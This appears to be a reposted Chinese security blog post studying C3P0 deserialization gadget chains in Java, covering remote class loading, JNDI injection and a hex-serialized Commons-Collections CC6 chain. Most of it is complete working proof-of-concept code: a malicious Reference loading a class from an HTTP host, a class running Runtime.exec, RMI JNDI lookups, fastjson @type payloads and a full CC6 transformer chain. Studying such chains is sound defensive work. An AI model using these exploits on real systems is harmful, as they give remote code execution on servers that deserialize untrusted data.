首页 > 其他分享 >C3P0 链子分析学习

C3P0 链子分析学习

时间:2024-10-18 21:59:27浏览次数:2  
标签:String 链子 class C3P0 throws 学习 new import public

C3P0 链子分析学习

概述

C3P0是一个开源的数据库连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和实现了JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池,使用它的开源项目有Hibernate、Spring等。

连接池:“我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。”

环境搭建

添加依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

Gadget

C3P0常见的利用方式有如下三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader远程类加载

链子分析

就是加载远程类进行利用

Gadget Chain:
PoolBackedDataSourceBase#readObject 
	ReferenceSerialized#getObject 
		ReferenceableUtils#referenceToObject 
			ObjectFactory#getObjectInstance

定位到 PoolBackedDataSourceBase#readObject 方法,

看到如果对象类型为 IndirectlySerialized,会调用其 getObject 方法,发现只有静态类 ReferenceSerialized 继承了 IndirectlySerialized 接口,跟进其 getObject 方法,

看见这里初始化上下文,然后调用了 lookup ,那如果这里能控制 contextName 变量就能进行 JNDI 注入,

现在就是如何控制变量o为ReferenceSerialized对象,来到 PoolBackedDataSourceBase 的writeObject 方法,

看见反序列化了 connectionPoolDataSource 对象,而该对象没有继承 Serializable 接口

所以在序列化的时候会进入 catch 模块,在 catch 模块会调用 indirector.indirectForm 处理后在进行序列化,跟进ReferenceIndirector.indirectForm 方法。

看见会返回一个 ReferenceSerialized 对象,再跟进其构造函数

这里控制的是 reference 参数,但这里的属性contextName为默认null且不可控,所以不能触发JNDI注入,

继续跟进 ReferenceSerialized#getObject 方法,其调用了 ReferenceableUtils#referenceToObject 方法

其中 ref 变量是可以控制的,所以 fClassName 也可以控制,然后先是获取上下文构造器,然后如果fClassLocation 就直接使用当前上下文构造器进行加载,反之使用URLClassLoader 进行远程加载,而这个fClassLocation 我们同样是可以控制的。

poc 构造

先创建个继承了ConnectionPoolDataSource 接口和 Referenceable 的类,并且重写接口ConnectionPoolDataSource 以及其父类 CommonDataSource 接口的方法,

public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  
    @Override  
    public Reference getReference() throws NamingException {  
        return new Reference("poc","poc","http://127.0.0.1:8888/");  
    }  
    @Override  
    public PooledConnection getPooledConnection() throws SQLException {  
        return null;  
    }  
    @Override  
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
        return null;  
    }  
    @Override  
    public PrintWriter getLogWriter() throws SQLException {  
        return null;  
    }  
    @Override  
    public void setLogWriter(PrintWriter out) throws SQLException {  
    }  
    @Override  
    public void setLoginTimeout(int seconds) throws SQLException {  
    }  
    @Override  
    public int getLoginTimeout() throws SQLException {  
        return 0;  
    }  
    @Override  
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
        return null;  
    }  
}

因为上面看到在序列化时需要序列化 connectionPoolDataSource 对象,才能触发 catch 模块返回 ReferenceSerialized 对象,朔源发现其赋值的地方,是调用 setConnectionPoolDataSource 方法进行赋值的,

然后至于这个类是不是重写不重要,主要是需要控制 reference 参数,所以这里直接写个类只需要满足是connectionPoolDataSource 对象,然后 reference 参数改为我们控制的。

然后将其实例化,调用 setConnectionPoolDataSource 方法进行赋值,赋值将其序列化

public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  
	//也可以反射修改connectionPoolDataSource属性值,这里直接调用方法好了
    PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
    poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());
      
    FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
    ObjectOutputStream oos = new ObjectOutputStream(fos);  
    oos.writeObject(poolBackedDataSourceBase);  
  
}  
  

public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
    FileInputStream fis = new FileInputStream(new File("exp.bin"));  
    ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
    objectInputStream.readObject();  
}  
  
public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
    Pool_Serial();  
    Pool_Deserial();  
}

综上,完整的 poc

package org.example;  
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.Referenceable;  
import javax.sql.ConnectionPoolDataSource;  
import javax.sql.PooledConnection;  
import java.beans.PropertyVetoException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.sql.SQLException;  
import java.sql.SQLFeatureNotSupportedException;  
import java.util.logging.Logger;  
  
public class C3P0 {  
    public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  
        @Override  
        public Reference getReference() throws NamingException {  
            return new Reference("poc","poc","http://127.0.0.1:8888/");  
        }  
        @Override  
        public PooledConnection getPooledConnection() throws SQLException {  
            return null;  
        }  
        @Override  
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
            return null;  
        }  
        @Override  
        public PrintWriter getLogWriter() throws SQLException {  
            return null;  
        }  
        @Override  
        public void setLogWriter(PrintWriter out) throws SQLException {  
        }  
        @Override  
        public void setLoginTimeout(int seconds) throws SQLException {  
        }  
        @Override  
        public int getLoginTimeout() throws SQLException {  
            return 0;  
        }  
        @Override  
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
            return null;  
        }  
    }  
  
    //序列化  
    public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  
        //反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类  
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
        poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());  
        //序列化流写入文件  
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
        ObjectOutputStream oos = new ObjectOutputStream(fos);  
        oos.writeObject(poolBackedDataSourceBase);  
  
    }  
  
    //反序列化  
    public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
        FileInputStream fis = new FileInputStream(new File("exp.bin"));  
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
        objectInputStream.readObject();  
    }  
  
    public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        Pool_Serial();  
        Pool_Deserial();  
    }  
  
}

恶意类,poc.java

import java.io.IOException;
 
public class exp {
    public exp() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

然后 python 服务启动监听,弹出计算机,

JNDI注入

链子分析

Gadget

#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
	JndiRefForwardingDataSource#setJndiName
 
#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
	WrapperConnectionPoolDataSource#setLoginTime ->
		JndiRefForwardingDataSource#setLoginTimeout ->
			JndiRefForwardingDataSource#inner ->
				JndiRefForwardingDataSource#dereference() ->
					Context#lookup

定位到 JndiRefConnectionPoolDataSource 类,漏洞点在其调用的 WrapperConnectionPoolDataSource#setLoginTimeout 函数

跟进看到再次调用了 setLoginTimeout 函数,

先看 getNestedDataSource() 方法,返回了 nestedDataSource 变量,

朔源发现该变量是通过 setNestedDataSource 方法进行的赋值

JndiRefConnectionPoolDataSource 类调用 setLoginTimeout 时。对 WrapperConnectionPoolDataSource 进行了实例化并调用了 setNestedDataSource 方法为 nestedDataSource 变量赋值

所以回到上面的 WrapperConnectionPoolDataSource#setLoginTimeout 方法中,继续跟进 JndiRefForwardingDataSource#setLoginTimeout 方法

这里调用 inner 方法,进行跟进

跟进到 dereference() 方法,看到了 lookup 方法,并且 jndiName 我们可以控制,看上面的 gadget,可以通过函数 setJndiName 进行控制

那么剩下的 poc 就简单了

public class C3P02 {  
    public static void main(String[] args)throws Exception {  
  
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();  
        exp.setJndiName("rmi://localhost:1099/hello");  
        exp.setLoginTimeout(1);  
  
    }  
}

fastjson 链子,变一下打 ql 表达式也可以,以为两个变量存在 setter 方法

public class C3P0 {
public static void main(String[] args) throws SQLException {
    String payload = "{" +
            "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
            "\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +
            "\"LoginTimeout\":0" +
            "}";
    JSON.parse(payload);
}

HEX序列化

链子分析

该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件

Gadget
#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
	WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
 
#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
	C3P0ImplUtils#parseUserOverridesAsString ->
		SerializableUtils#fromByteArray ->
			SerializableUtils#deserializeFromByteArray ->
				ObjectInputStream#readObject

还是定位到 WrapperConnectionPoolDataSource 类的构造函数

跟进到 C3P0ImplUtils.parseUserOverridesAsString 方法,看到先是进行 hex 解码为一个 byte 类型,然后调用了方法 fromByteArray 将其变为 map 类

跟进

看见了 readobject,到这里这条链子基本就清楚了(这里只是存在反序列,链子需要根据漏洞组件进行利用),利用 cc6 的链子来打

添加依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

poc 构造

先构造出 cc6 的链子,去掉反序列化,

package org.example;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class C3P03 {  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
          
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
}

然后再 parseUserOverridesAsString 函数中不难看出,hexAscii 就是传入的参数 userOverridesAsString 提取出来的。

而 userOverridesAsString 是通过 getUserOverridesAsString() 方法获得的,

可以调用 setUserOverridesAsString 进行赋值,

所以构造 poc

package org.example;  
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class C3P03{  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
  
        InputStream in = new FileInputStream("111.bin");  
        byte[] bytein = toByteArray(in);  
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";  
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();  
        exp.setUserOverridesAsString(Hex);  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static byte[] toByteArray(InputStream in) throws IOException {  
        byte[] classBytes;  
        classBytes = new byte[in.available()];  
        in.read(classBytes);  
        in.close();  
        return classBytes;  
    }  
    public static String bytesToHexString(byte[] bArray, int length) {  
        StringBuffer sb = new StringBuffer(length);  
  
        for(int i = 0; i < length; ++i) {  
            String sTemp = Integer.toHexString(255 & bArray[i]);  
            if (sTemp.length() < 2) {  
                sb.append(0);  
            }  
  
            sb.append(sTemp.toUpperCase());  
        }  
        return sb.toString();  
    }  
}

最后弹出计算机

fastjson poc

package org.example.serialize.c3p0;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.util.Base64;

public class C3P0Hex {
    public static void main(String[] args) {
        byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZh...AAAB4eHQABW5pdmlheA==");
        String hex = ByteUtils.toHexAscii(exp);

        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);
    }
}

后面发现其实上面的 Gadget 只是后面一部分,准确的说是从 setUserOverridesAsString 开始触发的,调用栈如下

所以调用链应该为:

Gadget
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
	WrapperConnectionPoolDataSourceBase#setUserOverridesAsString->
 		VetoableChangeSupport#fireVetoableChange->
 			WrapperConnectionPoolDataSource#vetoableChange->
				WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
					C3P0ImplUtils#parseUserOverridesAsString ->
						SerializableUtils#fromByteArray ->
							SerializableUtils#deserializeFromByteArray ->
								ObjectInputStream#readObject

参考:https://nivi4.notion.site/C3P0-5f394336d9604e8ca80e0bb55c4ce473

参考:https://goodapple.top/archives/1749

参考:https://tttang.com/archive/1411/#toc_poc_1

标签:String,链子,class,C3P0,throws,学习,new,import,public
From: https://www.cnblogs.com/gaorenyusi/p/18475139

相关文章

  • 机器学习(2)
    线性分类(LinearClassification)线性可分性(LinearSeparability)线性可分性是指在一个特征空间中,能够用一个超平面将不同类别的数据点完全分开。换句话说,如果存在一个线性函数(通常是一个线性方程或线性组合),能够将两类数据点划分为两侧,则这些数据被称为线性可分超平面:......
  • 视频编解码学习资料
    视频编解码学习资料一.包括H264/AVC官方提案网站,JM参考软件以及学习书籍和paper1.1H264spec(白皮书)下载网址:https://www.itu.int/ITU-T/recommendations/rec.aspx?rec=131891.2H264视频编码标准提案下载网址:https://www.itu.int/wftp3/av-arch/jvt-site/1.3H264参......
  • RabbitMQ系列学习笔记(八)--发布订阅模式
    文章目录一、发布订阅模式原理二、发布订阅模式实战1、消费者代码2、生产者代码3、查看运行结果本文参考:尚硅谷RabbitMQ教程丨快速掌握MQ消息中间件rabbitmqRabbitMQ详解Centos7环境安装Erlang、RabbitMQ详细过程(配图)一、发布订阅模式原理在开发过程中,有一......
  • RabbitMQ系列学习笔记(十)--通配符模式
    文章目录一、通配符模式原理二、通配符模式实战1、消费者代码2、生产者代码3、查看运行结果本文参考:尚硅谷RabbitMQ教程丨快速掌握MQ消息中间件rabbitmqRabbitMQ详解Centos7环境安装Erlang、RabbitMQ详细过程(配图)一、通配符模式原理通配符模式(Topics)是在路......
  • C库函数 memset 学习
    见代码(很久以前的):本人实力不济,如有错误或建议及补充,请指出(评论或私信都行)/*码风很丑,见谅可用于数组之间的赋值,节省代码量*/#include<stdio.h>#include<stdlib.h>#include<string.h>#definem0(x)memset(x,0,sizeof(x))intmin(intx,inty){if(x<y)returnx......
  • 机器学习中的海量数据查找—倒排索引查找
    原文链接:机器学习中的海量数据查找—倒排索引查找–每天进步一点点(longkui.site)索引是一种用于数据快速查找的数据结构,哈希表、二分查找、分块查找也可以视为一种索引,这类索引的价值在于在较短的时间内获得最相关、最全、最深的数据集合。在通常使用的索引中,大多是基于顺序......
  • [学习笔记] Minimax 算法和 Alpha-Beta 剪枝
    题目引入在博弈论中,有这样一类题目:两个玩家A、B轮流行动,A先手,B后手。有一个结果,A想要使它最大,B想要使它最小。Minimax算法把每个状态作为一个点,每个转移作为一条边建出一棵树。这棵树好像叫博弈树。两种实现(都没有真正地建树):直接搜索(可能有结点被重复经过)记忆化......
  • ROS个人学习记录(跟随教程【Autolabor初级教程】ROS机器人入门:https://www.bilibili.co
    参考文档:http://www.autolabor.com.cn/book/ROSTutorials/index.html1.5ROS架构1.5.1ROS文件系统ROS文件系统级指的是在硬盘上ROS源代码的组织形式,其结构大致可以如下图所示:WorkSpace---自定义的工作空间|---build:编译空间,用于存放CMake和catkin的缓存信息、配置......
  • 学有感 - 学习外语的关键不是记性
    原文大意学习材料链接:【【语言学习】不要依赖记忆(史蒂夫最伟大的秘诀)-哔哩哔哩】https://b23.tv/W1DUIhr作者是斯蒂夫·考夫曼(SteveKaufmann)是一位很厉害的多语言学习者,掌握二十多门语言,其中精通的有十多门。他生于1945年,目前还在学习新的语言。大家好,我是Steve·Ka......
  • MSP430学习记录(1)一种简便的MSP430Ware安装方法
    目前在学习MSP430,用的具体型号是MSP430FR2476。现在是刚起步,以前从来没有学过,希望自己能够快速上手。---------------------------分割线---------------------------今天主要是安装了一下CCS,用的是11版本。看网上说是在TI官网下载例程,找倒是很好找,但是不好下载...为啥呢?它......